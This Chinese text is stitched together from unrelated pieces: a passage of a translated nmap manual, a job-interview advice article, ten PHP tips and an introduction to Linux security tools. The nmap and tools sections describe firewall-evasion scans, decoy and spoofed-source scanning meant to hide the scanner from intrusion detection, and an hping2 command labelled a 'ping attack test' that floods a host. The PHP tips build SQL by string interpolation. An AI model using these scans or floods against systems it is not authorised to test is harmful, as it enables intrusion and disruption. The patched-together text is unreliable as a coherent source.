793第64页)。FIN扫描使用暴露的FIN数据包来探测,而圣诞树扫描打开数据包的FIN、URG和PUSH标志。不幸的是,微软决定完全忽略这个标准,另起炉灶。所以这种扫描方式对Windows95/NT无效。不过,从另外的角度讲,可以使用这种方式来分别两种不同的平台。如果使用这种扫描方式可以发现打开的端口,你就可以确定目标注意运行的不是Windows系统。如果使用-sF、-sX或者-sN扫描显示所有的端口都是关闭的,而使用SYN扫描显示有打开的端口,你可以确定目标主机可能运行的是Windwos系统。现在这种方式没有什么太大的用处,因为nmap有内嵌的操作系统检测功能。还有其它几个系统使用和windows同样的处理方式,包括Cisco、BSDI、HP/UX、MYS、IRIX。在应该抛弃数据包时,以上这些系统都会从打开的端口发出复位数据包。 -sP ping扫描:有时你只是想知道此时网络上哪些主机正在运行。通过向你指定的网络内的每个IP地址发送ICMP echo请求数据包,nmap就可以完成这项任务。如果主机正在运行就会作出响应。不幸的是,一些站点例如:microsoft.com阻塞ICMP echo请求数据包。然而,在默认的情况下nmap也能够向80端口发送TCP ack包,如果你收到一个RST包,就表示主机正在运行。nmap使用的第三种技术是:发送一个SYN包,然后等待一个RST或者SYN/ACK包。对于非root用户,nmap使用connect()方法。 在默认的情况下(root用户),nmap并行使用ICMP和ACK技术。 注意,nmap在任何情况下都会进行ping扫描,只有目标主机处于运行状态,才会进行后续的扫描。如果你只是想知道目标主机是否运行,而不想进行其它扫描,才会用到这个选项。 -sU UDP扫描:如果你想知道在某台主机上提供哪些UDP(用户数据报协议,RFC768)服务,可以使用这种扫描方法。nmap首先向目标主机的每个端口发出一个0字节的UDP包,如果我们收到端口不可达的ICMP消息,端口就是关闭的,否则我们就假设它是打开的。 有些人可能会想UDP扫描是没有什么意思的。但是,我经常会想到最近出现的solaris rpcbind缺陷。rpcbind隐藏在一个未公开的UDP端口上,这个端口号大于32770。所以即使端口111(portmap的众所周知端口号) 被防火墙阻塞有关系。但是你能发现大于30000的哪个端口上有程序正在监听吗?使用UDP扫描就能!cDc Back Orifice的后门程序就隐藏在Windows主机的一个可配置的UDP端口中。不考虑一些通常的安全缺陷,一些服务例如:snmp、tftp、NFS 使用UDP协议。不幸的是,UDP扫描有时非常缓慢,因为大多数主机限制ICMP错误信息的比例(在RFC1812中的建议)。例如,在Linux内核中 (在net/ipv4/icmp.h文件中)限制每4秒钟只能出现80条目标不可达的ICMP消息,如果超过这个比例,就会给1/4秒钟的处罚。 solaris的限制更加严格,每秒钟只允许出现大约2条ICMP不可达消息,这样,使扫描更加缓慢。nmap会检测这个限制的比例,减缓发送速度,而不是发送大量的将被目标主机丢弃的无用数据包。 不过Micro$oft忽略了RFC1812的这个建议,不对这个比例做任何的限制。所以我们可以能够快速扫描运行Win95/NT的主机上的所有65K个端口。 -sA ACK扫描:这项高级的扫描方法通常用来穿过防火墙的规则集。通常情况下,这有助于确定一个防火墙是功能比较完善的或者是一个简单的包过滤程序,只是阻塞进入的SYN包。 这种扫描是向特定的端口发送ACK包(使用随机的应答/序列号)。如果返回一个RST包,这个端口就标记为unfiltered状态。如果什么都没有返回,或者返回一个不可达ICMP消息,这个端口就归入filtered类。注意,nmap通常不输出unfiltered的端口,所以在输出中通常不显示所有被探测的端口。显然,这种扫描方式不能找出处于打开状态的端口。 -sW 对滑动窗口的扫描:这项高级扫描技术非常类似于ACK扫描,除了它有时可以检测到处于打开状态的端口,因为滑动窗口的大小是不规则的,有些操作系统可以报告其大小。这些系统至少包括:某些版本的AIX、Amiga、BeOS、BSDI、Cray、Tru64 UNIX、DG/UX、OpenVMS、Digital UNIX、OpenBSD、OpenStep、QNX、Rhapsody、SunOS 4.x、Ultrix、VAX、VXWORKS。从nmap-hackers邮件3列表的文档中可以得到完整的列表。 -sR RPC扫描。这种方法和nmap的其它不同的端口扫描方法结合使用。选择所有处于打开状态的端口向它们发出SunRPC程序的NULL命令,以确定它们是否是RPC端口,如果是,就确定是哪种软件及其版本号。因此你能够获得防火墙的一些信息。诱饵扫描现在还不能和RPC扫描结合使用。 -b FTP反弹攻击(bounce attack):FTP协议(RFC 959)有一个很有意思的特征,它支持代理FTP连接。也就是说,我能够从evil.com连接到FTP服务器target.com,并且可以要求这台 FTP服务器为自己发送Internet上任何地方的文件!1985年,RFC959完成时,这个特征就能很好地工作了。然而,在今天的Internet 中,我们不能让人们劫持FTP服务器,让它向Internet上的任意节点发送数据。如同Hobbit在1995年写的文章中所说的,这个协议”能够用来做投递虚拟的不可达邮件和新闻,进入各种站点的服务器,填满硬盘,跳过防火墙,以及其它的骚扰活动,而且很难进行追踪”。我们可以使用这个特征,在一台代理FTP服务器扫描TCP端口。因此,你需要连接到防火墙后面的一台FTP服务器,接着进行端口扫描。如果在这台FTP服务器中有可读写的目录,你还可以向目标端口任意发送数据(不过nmap不能为你做这些)。 传递给-b功能选项的参数是你要作为代理的FTP服务器。语法格式为: -b username:password@server:port。 除了server以外,其余都是可选的。如果你想知道什么服务器有这种缺陷,可以参考我在Phrack 51发表的文章。还可以在nmap的站点得到这篇文章的最新版本。4.2 通用选项 这些内容不是必需的,但是很有用。 -P0 在扫描之前,不必ping主机。有些网络的防火墙不允许ICMP echo请求穿过,使用这个选项可以对这些网络进行扫描。microsoft.com就是一个例子,因此在扫描这个站点时,你应该一直使用-P0或者-PT 80选项。 -PT 扫描之前,使用TCP ping确定哪些主机正在运行。nmap不是通过发送ICMP echo请求包然后等待响应来实现这种功能,而是向目标网络(或者单一主机)发出TCP ACK包然后等待回应。如果主机正在运行就会返回RST包。只有在目标网络/主机阻塞了ping包,而仍旧允许你对其进行扫描时,这个选项才有效。对于非 root用户,我们使用connect()系统调用来实现这项功能。使用-PT 来设定目标端口。默认的端口号是80,因为这个端口通常不会被过滤。 -PS 对于root用户,这个选项让nmap使用SYN包而不是ACK包来对目标主机进行扫描。如果主机正在运行就返回一个RST包(或者一个SYN/ACK包)。 -PI 设置这个选项,让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。使用这个选项让nmap发现正在运行的主机的同时,nmap也会对你的直接子网广播地址进行观察。直接子网广播地址一些外部可达的IP地址,把外部的包转换为一个内向的IP广播包,向一个计算机子网发送。这些IP广播包应该删除,因为会造成拒绝服务攻击(例如 smurf)。 -PB 这是默认的ping扫描选项。它使用ACK(-PT)和ICMP(-PI)两种扫描类型并行扫描。如果防火墙能够过滤其中一种包,使用这种方法,你就能够穿过防火墙。 -O 这个选项激活对TCP/IP指纹特征(fingerprinting)的扫描,获得远程主机的标志。换句话说,nmap使用一些技术检测目标主机操作系统网络协议栈的特征。nmap使用这些信息建立远程主机的指纹特征,把它和已知的操作系统指纹特征数据库做比较,就可以知道目标主机操作系统的类型。 -I 这个选项打开nmap的反向标志扫描功能。Dave Goldsmith 1996年向bugtap发出的邮件注意到这个协议,ident协议(rfc 1413)允许使用TCP连接给出任何进程拥有者的用户名,即使这个进程并没有初始化连接。例如,你可以连接到HTTP端口,接着使用identd确定这个服务器是否由root用户运行。这种扫描只能在同目标端口建立完全的TCP连接时(例如:-sT扫描选项)才能成功。使用-I选项是,远程主机的 identd精灵进程就会查询在每个打开的端口上监听的进程的拥有者。显然,如果远程主机没有运行identd程序,这种扫描方法无效。 -f 这个选项使nmap使用碎片IP数据包发送SYN、FIN、XMAS、NULL。使用碎片数据包增加包过滤、入侵检测系统的难度,使其无法知道你的企图。不过,要慎重使用这个选项!有些程序在处理这些碎片包时会有麻烦,我最喜欢的嗅探器在接受到碎片包的头36个字节时,就会发生 segmentation faulted。因此,在nmap中使用了24个字节的碎片数据包。虽然包过滤器和防火墙不能防这种方法,但是有很多网络出于性能上的考虑,禁止数据包的分片。 注意这个选项不能在所有的平台上使用。它在Linux、FreeBSD、OpenBSD以及其它一些UNIX系统能够很好工作。 -v 冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息。使用这个选项,你可以得到事半功倍的效果。使用-d选项可以得到更加详细的信息。 -h 快速参考选项。 -oN 把扫描结果重定向到一个可读的文件logfilename中。 -oM 把扫描结果重定向到logfilename文件中,这个文件使用主机可以解析的语法。你可以使用-oM -来代替logfilename,这样输出就被重定向到标准输出stdout。在这种情况下,正常的输出将被覆盖,错误信息荏苒可以输出到标准错误 stderr。要注意,如果同时使用了-v选项,在屏幕上会打印出其它的信息。 -oS    thIs l0gz th3 r3suLtS of YouR ScanZ iN a s|   THe fiL3 U sPecfy 4s an arGuMEnT! U kAn gIv3 the 4rgument - (wItHOUt qUOteZ) to sh00t output iNT0 stDouT!@!! 莫名其妙,下面是我猜着翻译的,相形字? 把扫描结果重定向到一个文件logfilename中,这个文件使用一种”黑客方言”的语法形式(作者开的玩笑?)。同样,使用-oS -就会把结果重定向到标准输出上。 -resume 某个网络扫描可能由于control-C或者网络损失等原因被中断,使用这个选项可以使扫描接着以前的扫描进行。logfilename是被取消扫描的日志文件,它必须是可读形式或者机器可以解析的形式。而且接着进行的扫描不能增加新的选项,只能使用与被中断的扫描相同的选项。nmap会接着日志文件中的最后一次成功扫描进行新的扫描。 -iL 从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL -,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息。 -iR 让nmap自己随机挑选主机进行扫描。 -p  这个选项让你选择要进行扫描的端口号的范围。例如,-p 23表示:只扫描目标主机的23号端口。-p 20-30,139,60000-表示:扫描20到30号端口,139号端口以及所有大于60000的端口。在默认情况下,nmap扫描从1到1024号以及nmap-services文件(如果使用RPM软件包,一般在/usr/share/nmap/目录中)中定义的端口列表。 -F 快速扫描模式,只扫描在nmap-services文件中列出的端口。显然比扫描所有65535个端口要快。 -D 使用诱饵扫描方法对目标网络/主机进行扫描。如果nmap使用这种方法对目标网络进行扫描,那么从目标主机/网络的角度来看,扫描就象从其它主机 (decoy1,等)发出的。从而,即使目标主机的IDS(入侵检测系统)对端口扫描发出报警,它们也不可能知道哪个是真正发起扫描的地址,哪个是无辜的。这种扫描方法可以有效地对付例如路由跟踪、response-dropping等积极的防御机制,能够很好地隐藏你的IP地址。 每个诱饵主机名使用逗号分割开,你也可以使用ME选项,它代表你自己的主机,和诱饵主机名混杂在一起。如果你把ME放在第六或者更靠后的位置,一些端口扫描检测软件几乎根本不会显示你的IP地址。如果你不使用ME选项,nmap会把你的IP地址随机夹杂在诱饵主机之中。 注意:你用来作为诱饵的主机应该正在运行或者你只是偶尔向目标发送SYN数据包。很显然,如果在网络上只有一台主机运行,目标将很轻松就会确定是哪台主机进行的扫描。或许,你还要直接使用诱饵的IP地址而不是其域名,这样诱饵网络的域名服务器的日志上就不会留下关于你的记录。 还要注意:一些愚蠢的端口扫描检测软件会拒绝路由试图进行端口扫描的主机。因而,你需要让目标主机和一些诱饵断开连接。如果诱饵是目标主机的网关或者就是其自己时,会给目标主机造成很大问题。所以你需要慎重使用这个选项。 诱饵扫描既可以在起始的ping扫描也可以在真正的扫描状态下使用。它也可以和-O选项组合使用。 使用太多的诱饵扫描能够减缓你的扫描速度甚至可能造成扫描结果不正确。同时,有些ISP会把你的欺骗包过滤掉。虽然现在大多数的ISP不会对此进行限制。 -S  在一些情况下,nmap可能无法确定你的源地址(nmap会告诉你)。在这种情况下,可以使用这个选项给出你的IP地址。 在欺骗扫描时,也使用这个选项。使用这个选项可以让目标认为是其它的主机对自己进行扫描。 -e 告诉nmap使用哪个接口发送和接受数据包。nmap能够自动对此接口进行检测,如果无效就会告诉你。 -g 设置扫描的源端口。一些天真的防火墙和包过滤器的规则集允许源端口为DNS(53)或者FTP-DATA(20)的包通过和实现连接。显然,如果攻击者把源端口修改为20或者53,就可以摧毁防火墙的防护。在使用UDP扫描时,先使用53号端口;使用TCP扫描时,先使用20号端口。注意只有在能够使用这个端口进行扫描时,nmap才会使用这个端口。例如,如果你无法进行TCP扫描,nmap会自动改变源端口,即使你使用了-g选项。 对于一些扫描,使用这个选项会造成性能上的微小损失,因为我有时会保存关于特定源端口的一些有用的信息。 -r 告诉nmap不要打乱被扫描端口的顺序。 –randomize_hosts 使nmap在扫描之前,打乱每组扫描中的主机顺序,nmap每组可以扫描最多2048台主机。这样,可以使扫描更不容易被网络监视器发现,尤其和–scan_delay 选项组合使用,更能有效避免被发现。 -M 设置进行TCP connect()扫描时,最多使用多少个套接字进行并行的扫描。使用这个选项可以降低扫描速度,避免远程目标宕机。4.3 适时选项 通常,nmap在运行时,能够很好地根据网络特点进行调整。扫描时,nmap会尽量减少被目标检测到的机会,同时尽可能加快扫描速度。然而,nmap默认的适时策略有时候不太适合你的目标。使用下面这些选项,可以控制nmap的扫描timing:-T 设置nmap的适时策略。Paranoid:为了避开IDS的检测使扫描速度极慢,nmap串行所有的扫描,每隔至少5分钟发送一个包; Sneaky:也差不多,只是数据包的发送间隔是15秒;Polite:不增加太大的网络负载,避免宕掉目标主机,串行每个探测,并且使每个探测有0.4 秒种的间隔;Normal:nmap默认的选项,在不是网络过载或者主机/端口丢失的情况下尽可能快速地扫描;Aggressive:设置5分钟的超时限制,使对每台主机的扫描时间不超过5分钟,并且使对每次探测回应的等待时间不超过1.5秒钟;b>Insane:只适合快速的网络或者你不在意丢失某些信息,每台主机的超时限制是75秒,对每次探测只等待0.3秒钟。你也可是使用数字来代替这些模式,例如:-T 0等于-T Paranoid,-T 5等于-T Insane。 这些适时模式不能下面的适时选项组合使用。–host_timeout 设置扫描一台主机的时间,以毫秒为单位。默认的情况下,没有超时限制。–max_rtt_timeout 设置对每次探测的等待时间,以毫秒为单位。如果超过这个时间限制就重传或者超时。默认值是大约9000毫秒。–min_rtt_timeout 当目标主机的响应很快时,nmap就缩短每次探测的超时时间。这样会提高扫描的速度,但是可能丢失某些响应时间比较长的包。使用这个选项,可以让nmap对每次探测至少等待你指定的时间,以毫秒为单位。–initial_rtt_timeout 设置初始探测的超时值。一般这个选项只在使用-P0选项扫描有防火墙保护的主机才有用。默认值是6000毫秒。–max_parallelism 设置最大的并行扫描数量。–max_parallelism 1表示同时只扫描一个端口。这个选项对其它的并行扫描也有效,例如ping sweep, RPC scan。–scan_delay 设置在两次探测之间,nmap必须等待的时间。这个选项主要用于降低网络的负载。4.4 目标设定 在nmap的所有参数中,只有目标参数是必须给出的。其最简单的形式是在命令行直接输入一个主机名或者一个IP地址。如果你希望扫描某个IP地址的一个子网,你可以在主机名或者IP地址的后面加上/掩码。掩码在0(扫描整个网络)到32(只扫描这个主机)。使用/24扫描C类地址,/16扫描B类地址。 除此之外,nmap还有更加强大的表示方式让你更加灵活地指定IP地址。例如,如果要扫描这个B类网络128.210.*.*,你可以使用下面三种方式来指定这些地址:128.210.*.*、128.21-.0-255.0-255或者128.210.0.0/16这三种形式是等价的。5.例子 本节将由浅入深地举例说明如何使用nmap。nmap -v target.example.com扫描主机target.example.com的所有TCP端口。-v打开冗余模式。nmap -sS -O target.example.com/24发起对target.example.com所在网络上的所有255个IP地址的秘密SYN扫描。同时还探测每台主机操作系统的指纹特征。需要root权限。nmap -sX -p 22,53,110,143,4564 128.210.*.1-127对B类IP地址128.210中255个可能的8位子网的前半部分发起圣诞树扫描。确定这些系统是否打开了sshd、DNS、pop3d、imapd和4564端口。注意圣诞树扫描对Micro$oft的系统无效,因为其协议栈的TCP层有缺陷。nmap -v –randomize_hosts -p 80 *.*.2.3-5只扫描指定的IP范围,有时用于对这个Internet进行取样分析。nmap将寻找Internet上所有后两个字节是.2.3、.2.4、.2.5的 IP地址上的WEB服务器。如果你想发现更多有意思的主机,你可以使用127-222,因为在这个范围内有意思的主机密度更大。host -l company.com | cut -d -f 4 | ./nmap -v -iL -列出company.com网络的所有主机,让nmap进行扫描。注意:这项命令在GNU/Linux下使用。如果在其它平台,你可能要使用 其它的命令/选项。

求职面试中的高级错误

在求职面试中,没有人能保证不犯错误。只是聪明的求职者会不断地修正错误走向成熟。然而在面试中有些错误却是一些相当聪明的求职者也难免会一犯再犯的,我们权称之为“高级”错误。笔者总结近几年跨国公司人力资源管理工作之经验,列举出常见的十二种“高级”错误,与读者切磋。
面试时,不能等考官先开口。
一、不善于打破沉默

面试开始时,应试者不善“破冰”(英文直译,即打破沉默),而等待面试官打开话匣。面试中,应试者又出于种种顾虑,不愿主动说话,结果使面试出现冷场。即便能勉强打破沉默,语音语调亦极其生硬,使场面更显尴尬。实际上,无论是面试前或面试中,面试者主动致意与交谈,会留给面试官热情和善于与人交谈的良好印象。

二、与面试官“套近乎”

具备一定专业素养的面试官是忌讳与应试者套近乎的,因为面试中双方关系过于随便或过于紧张都会影响面试官的评判。过分“套近乎”亦会在客观上妨碍应试者在短短的面试时间内,作好专业经验与技能的陈述。聪明的应试者可以例举一至两件有根有据的事情来赞扬招聘单位,从而表现出您对这家公司的兴趣。

三、为偏见或成见所左右

有时候,参加面试前自己所了解的有关面试官,或该招聘单位的负面评价会左右自己面试中的思维。误认为貌似冷淡的面试官或是严厉或是对应试者不满意,因此十分紧张。还有些时候,面试官是一位看上去比自己年轻许多的小姐,心中便开始嘀咕:“她怎么能有资格面试我呢?”其实,在招聘面试这种特殊的采购关系中,应试者作为供方,需要积极面对不同风格的面试官即客户。一个真正的销售员在面对客户的时候,他的态度是无法选择的。
面试时,不要闪闪躲躲。

四、慷慨陈词,却举不出例子

应试者大谈个人成就、特长、技能时,聪明的面试官一旦反问:“能举一两个例子吗?”应试者便无言应对。而面试官恰恰认为:事实胜于雄辩。在面试中,应试者要想以其所谓的沟通能力、解决问题的能力、团队合作能力,领导能力等取信于人,唯有举例。

五、缺乏积极态势

面试官常常会提出或触及一些让应试者难为情的事情。很多人对此面红耳赤,或躲躲闪闪,或撒谎敷衍,而不是诚实的回答、正面的解释。比方说面试官问:?什么5年中换了3次工作?有人可能就会大谈工作如何困难,上级不支持等,而不是告诉面试官:虽然工作很艰难,自己却因此学到了很多,也成熟了很多。

六、丧失专业风采

有些应试者面试时各方面表现良好,可一旦被问及现所在公司或以前公司时,就会愤怒地抨击其老板或者公司,甚至大肆谩骂。在众多国际化的大企业中,或是在具备专业素养的面试官面前,这种行为是非常忌讳的。

面试前应做好各种准备。

七、不善于提问

有些人在不该提问时提问,如面试中打断面试官谈话而提问。也有些人面试前对提问没有足够准备,轮到有提问机会时不知说什么好。而事实上,一个好的提问,胜过简历中的无数笔墨,会让面试官刮目相看。

八、对个人职业发展计划模糊

对个人职业发展计划,很多人只有目标,没有思路。比如当问及“您未来5年事业发展计划如何?”时,很多人都会回答说“我希望5年之内做到全国销售总监一职。”如果面试官接着问“为什么?”应试者常常会觉得莫名其妙。其实,任何一个具体的职业发展目标都离不开您对个人目前技能地评估以及您为胜任职业目标所需拟定的粗线条的技能发展计划。

九、假扮完美

面试官常常会问:您性格上有什么弱点?您在事业上受过挫折吗?有人会毫不犹豫地回答:没有。其实这种回答常常是对自己不负责任的。没有人没有弱点,没有人没有受过挫折。只有充分地认识到自己的弱点,也只有正确的认识自己所受的挫折,才能造就真正成熟的人格。

在面试时主动打探薪酬可能给HR留下不好印象。

十、被“引君入瓮”

面试官有时会考核应试者的商业判断能力及商业道德方面的素养。比如:面试官在介绍公司诚实守信的企业文化之后或索性什么也不介绍,问:“您作为财务经理,如果我(总经理)要求您1年之内逃税1000万元,那您会怎么做?”如果您当场抓耳搔腮地思考逃税计谋,或文思泉涌,立即列举出一大堆方案,都证明您上了他们的圈套。实际上,在几乎所有的国际化大企业中,遵纪守法是员工行为的最基本要求。

十一、主动打探薪酬福利

有些应试者会在面试快要结束时主动向面试官打听该职位的薪酬福利等情况,结果是欲速则不达。具备人力资源专业素养的面试者是忌讳这种行为的。其实,如果招聘单位对某一位应试者感兴趣的话,自然会问及其薪酬情况。

十二、不知如何收场

很多求职应试者面试结束时,因成功的兴奋,或因失败的恐惧,会语无伦次,手足无措。其实,面试结束时,作为应试者,您不妨:表达您对应聘职位的理解;充满热情地告诉面试者您对此职位感兴趣,并询问下一步是什么;面带微笑和面试官握手并谢谢面试官的接待及对您的考虑。

让PHP开发者事半功倍的十大技巧

如果你使用一面大镜子作为冲浪板会发生什么?或许你会在较短的时间内征服海浪,但是你肯定从内心深处明白,这不是冲浪的正确选择。同样的道理也适用于PHP编程,尽管这样的类比听起来有一些古怪。我们经常听到有人试图用一个周末多点的时间来学会PHP,但是请恕我直言,这是学习这门编程语言的一种非常糟糕的方式。

为何说学习PHP的过程有别于任何其它语言?

就其本质而言,如果你掌握了以PHP语言“做事”的方式,那么在使用它时就会得心应手,因此值得你去投入精力去了解这些方式。在PHP中,单纯按照自己思路去解决问题往往会是一种错误的办法。这并不是因为你是一个糟糕的程序员,而是因为如果你想写出好的可维护性强的代码,有些标准技巧是你必须要使用的。下面让我们一起看一下你需要知道的10大技巧。

1、如何正确的创建一个网站的Index页面

创建每一个网站时,建立网站的index页面是首要做的事情之一。如果你是一个PHP新手,在编写index页面时典型的做法是只对index页面所需的内容进行编程,其它链接创建另一个页面。不过,如果想学习一种更高效的方式来实现PHP编程,可以采用“index.php?page=home”模式,许多网站都在采用这种模式。

2、使用Request Global Array抓取数据

实际上我们没有任何理由使用$_GET和$_POST数组来抓取数值。$_REQUEST这个全局数组能够让你获取一个get或form请求。因此,多数情况下解析数据的更高效代码大体如下:

  1. $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 0;

3、利用var_dump进行PHP代码调试

如果你在寻找php调试技术,我必须说var_dump应该是你要找的目标。在显示php信息方面这个命令可以满足你的所有需要。而调试代码的多数情况与得到PHP中的数值有关。

4、PHP处理代码逻辑,Smarty处理展现层

Smarty是一个使用PHP写出来的模板PHP模板引擎,是目前业界最著名的PHP模板引擎之一。它分离了逻辑代码和外在的内容,提供了一种易于管理和使用的方法,用来将原本与HTML代码混杂在一起PHP代码逻辑分离。简单的讲,目的就是要使PHP程序员同前端人员分离,使程序员改变程序的逻辑内容不会影响到前端人员的页面设计,前端人员重新修改页面不会影响到程序的程序逻辑,这在多人合作的项目中显的尤为重要。

5、的确需要使用全局数值时,创建一个Config文件

动辄创建全局数值是一种糟糕的做法,不过有时候实际情况的确又需要这么做。对于数据库表或数据库连接信息使用全局数值是一个不错的想法,但不要在你的PHP代码中频繁使用全局数值。另外,更好的一种做法是把你的全局变量存放在一个config.php文件中。

6、如果未定义,禁止访问!

如果你正确的创建了页面,那么任何其他人没有理由访问index.php或home.php之外的index.php页面。一旦index.php被访问后,你可以通过获得变量的方式来打开需要的页面。你的index页面应该包含类似的以下代码:

  1. define('yourPage',1);

然后,其它页面应该包含:

  1. if (!defined('yourPage')) die('Access Denied');

这么做的目的是防止直接访问你的其它php页面。这样,任何试图不通过index.php访问其它网页的人,将得到“访问被拒绝”的消息。

7、创建一个数据库类

如果你正在进行数据库编程(在PHP中非常常见的任务),一个不错的想法是创建一个数据库类来处理任何数据库管理功能。示例代码如下:

  1. public function dbExec($query)
  2.  {
  3.      $result = $this->db->exec($query);
  4.      if (PEAR::isError($result))
  5.          errorRedirect($result->getMessage(), true);
  6.      else
  7.          return $result;
  8.  }

这个函数仅接收一个查询语句并对其执行。它还处理可能出现的任何错误。你还可以在这儿包含审核代码,不过我更喜欢使用一个类似的审核函数:

  1. // checks if arguments given are integer values not less than 0 - has multiple arguments
  2.  function sanitizeInput()
  3.  {
  4.      $numargs = func_num_args();
  5.      $arg_list = func_get_args();
  6.      for ($i = 0; $i < $numargs; $i++) {
  7.          if (!is_numeric($arg_list[$i]) || $arg_list[$i] < 0)
  8.              errorRedirect("Unexpected variable value", true);
  9.      }
  10.  }

8、一个php文件处理输入,一个class.php文件处理具体功能

不让代码变得混乱的一个重要方法是:获取用户输入后,将其重定向到其它函数来进行处理。原理非常简单,php文件获得我们需要的任何输入,然后将其执行重定向到类文件中的一个函数。举例来讲,假设有一个类似“index.php?page=profile&action=display”的URL。由profile.php来检索该网址并得到操作是“display”。然后使用一个简单的switch函数,我们来执行真正的显示函数:

  1. require_once PROJECTROOT.'libs/messages.class.php';
  2. $message = new Message();
  3. switch ($action)
  4. {
  5.     case 'display':
  6.         $message->display();
  7.         break;
  8. ...

如上所示,我使用了一个消息类,然后开始进行switch检查。$message只是被类中的调用函数使用的一个对象。

9、了解你的SQL语句,并总是对其审查(Sanitize)

正如我以前所提到的,任何php网站中最重要的部分有99%的可能是数据库。因此,你需要非常熟悉如何正确的使用sql。学会关联表和更多高级技术。下面我将展示一个使用MySQL的函数示例,并使用本文第7条函数进行审查。

  1. private function getSentMessages($id)
  2.  {
  3. $this->util->sanitizeInput($id);
  4.     $pm_table = $GLOBALS['config']['privateMsg'];
  5.  $users = $GLOBALS['config']['users'];
  6.      $sql = "SELECT PM.*, USR.username as name_sender FROM $pm_table PM, $users USR
  7.          WHERE id_sender = '$id' AND sender_purge = FALSE AND USR.id = PM.id_receiver AND is_read = TRUE
  8.          ORDER BY date_sent DESC";
  9.  $result = $this->dbQueryAll($sql);
  10.     return $result;
  11.  }

首先,我们对用户输入进行检查(通过一个GET变量传递消息id),然后我们执行我们的SQL命令。注意这儿SQL的用法。你需要了解如何使用别名和关联表。

10、当你只需要一个对象时,使用单例模式

在PHP中相当常见的一种情形时,我们只需要创建一个对象一次,然后在我们的整个程序中使用它。一个很好的例子就是smarty变量,一旦被初始化后就可以在任何地方使用。这种情形的一个很好实现方案就是单例模式。示例代码如下:

  1. function smartyObject()
  2.  {
  3.      if ($GLOBALS['config']['SmartyObj'] == 0)
  4.      {
  5.          $smarty = new SmartyGame();
  6.          $GLOBALS['config']['SmartyObj'] = $smarty;
  7.      }
  8.      else
  9.          $smarty = $GLOBALS['config']['SmartyObj'];
  10.      return $smarty;
  11.  }

注意,我们拥有一个全局smarty变量(该示例中它在config.php中被初始化),如果它的值为0,我们将创建一个新smarty对象。否则,它意味着该对象已经被创建,我们只需要返回它。

7款Linux下常用安全工具详细介绍

先说明下这类工具的安装,安装准备--Linux下一些压缩文件的解压命令:
tar xvf *.tar(tar压缩的软件包)
tar zxvf *.tar.gz (tar和gzip压缩的软件包)
unrar x *.rar unpack_path (rar压缩的软件包 unpack_path为解压后的存放路径 unrar解压命令需要安装
Linux下的rar工具才可使用)
rpm -vhU *.rpm(RPM软件包的安装)
工具的一般安装步骤:
(1)转到解压目录运行 ./configure;
(2)执行make all;
(3)执行make install。
在安装过程中部分工具还需要安装特定的Lib库,在工具的使用介绍中会进行特别说明。
一、Hping2—网络探测工具
工具名称:Hping2
应用环境:Linux
工具介绍:hping是一个基于命令行的TCP/IP工具,它在UNIX上得到很好的应用,不过它并非仅仅一个
ICMP请求/响应工具,它还支持TCP、UDP、ICMP;RAW-IP,以及一个模型HPING一直被用作工具,可以用
来测试网络及主机的,它有以下功能:
1.探测(通过ping的返回码进行判断,比如在之类的阻断ICMP包时返回状态13的目标不可达信息,针对
此可以判断探测目标被防火墙保护)
2.高级端口扫描(2-7的功能主要是根据对TCP/IP的理解,通过查看发出的包的返回情况进行分析和测试
实现)
3.网络测试;(可以用不同的,TOS,数据包碎片来实现此功能)
4.手工MTU发掘
5.高级(在任何下都可以实现)
6.OS指纹判断
7.细微UPTIME猜测
示例:
穿透防火墙的扫描利用的ICMP不可达的返回值进行确定,不同的防火墙的返回值不相同,如Cisco的状态
值为13;其他测试需理解TCP/IP的包头结构
简单的类ping操作(-c计数) hping2 192.168.0.1 -c 2
设置时间间隔,数据包发送的频率(-i uX X为微秒) hping2 192.168.0.1 -c 2 -i u1000
一种类ping攻击测试(-d 数据包的大小) hping2 192.168.0.1 -d 20000 -i u1
探测外网 hping2 -A/F/S -p 80 www.my.com;具体运行参见图1(先使用ping测试,无返回,再使用
hping2进行测试):
图1
二、Nbtscan—从网络上收集NetBIOS信息
工具名称:nbtscan-1.5.1a
应用环境:Linux
工具介绍:这是一款用于扫描网络上NetBIOS名字信息的程序。该程序对给出范围内的每一个地址发送
NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan列出它的IP地址、
NetBIOS计算机名、登录用户名和MAC地址。
示例:
这个比较简单,不过只能扫描内网
扫描192.168.0.0的网段: nbtscan 172.16.15.0/24 ,测试操作见图2:
图2
三、Xprobe2—主动操作系统指纹识别工具
工具名称:Xprobe2
应用环境:Linux
工具介绍:Xprobe2 是一款主动操作系统指纹识别工具,和其它操作系统指纹识别不同,它依靠与一个签
名库的模糊匹配,以及合理的推测来共同确定远程操作系统的类型。
示例:
简单内网探测: xprobe2 192.168.0.1
探测外网(目标主机开启Web服务): xprobe2 -p tcp:80:open/tcp:25:open www.my.com;探测目标主
机的操作系统如图3所示:
图3
四、nmap—网络扫描和嗅探工具包
工具名称:nmap-3.50
应用环境:Linux
工具介绍:NMap是Linux下的网络扫描和嗅探工具包。可以帮助网管人员深入探测UDP或者TCP端口,直
至主机所使用的操作系统;还可以将所有 探测结果记录到各种格式的日志中,为系统安全服务。NMap,也就
是Network Mapper,是Linux下的网络扫描和嗅探工具包,其基本功能有三个,一是探测一组主机是否在线
;其次是扫描 主机端口,嗅探所提供的网络服务;还可以推断主机所用的操作系统 。Nmap可用于扫描仅有两
个节点的LAN,直至500个节点以上的网络。Nmap 还允许用户定制扫描技巧。通常,一个简单的使用ICMP协
议的ping操 作可以满足一般需求;也可以深入探测UDP或者TCP端口,直至主机所 使用的操作系统;还可以
将所有探测结果记录到各种格式的日志中, 供进一步分析操作。但了nmap被发现存在DOS攻击, 针对这类攻
击,可采取如下措施:安装系统卖方的最新补丁;用未受影响的系统做防火墙。
示例:
适用于内外网的探测,以内网操作为示例(外网参数同)
简单端口扫描: nmap -vv -sT(sS、sF、sU、sA) 192.168.0.1 -D 127.0.0.1(-D伪造的地址)
OS检测: nmap -vv -sS -O 192.168.0.1
RPC鉴别: nmap -sS -sR 192.168.0.1 Linux上的portmap就是一个简单的RPC服务,监听端口为
111(默认),测试见图4
图4
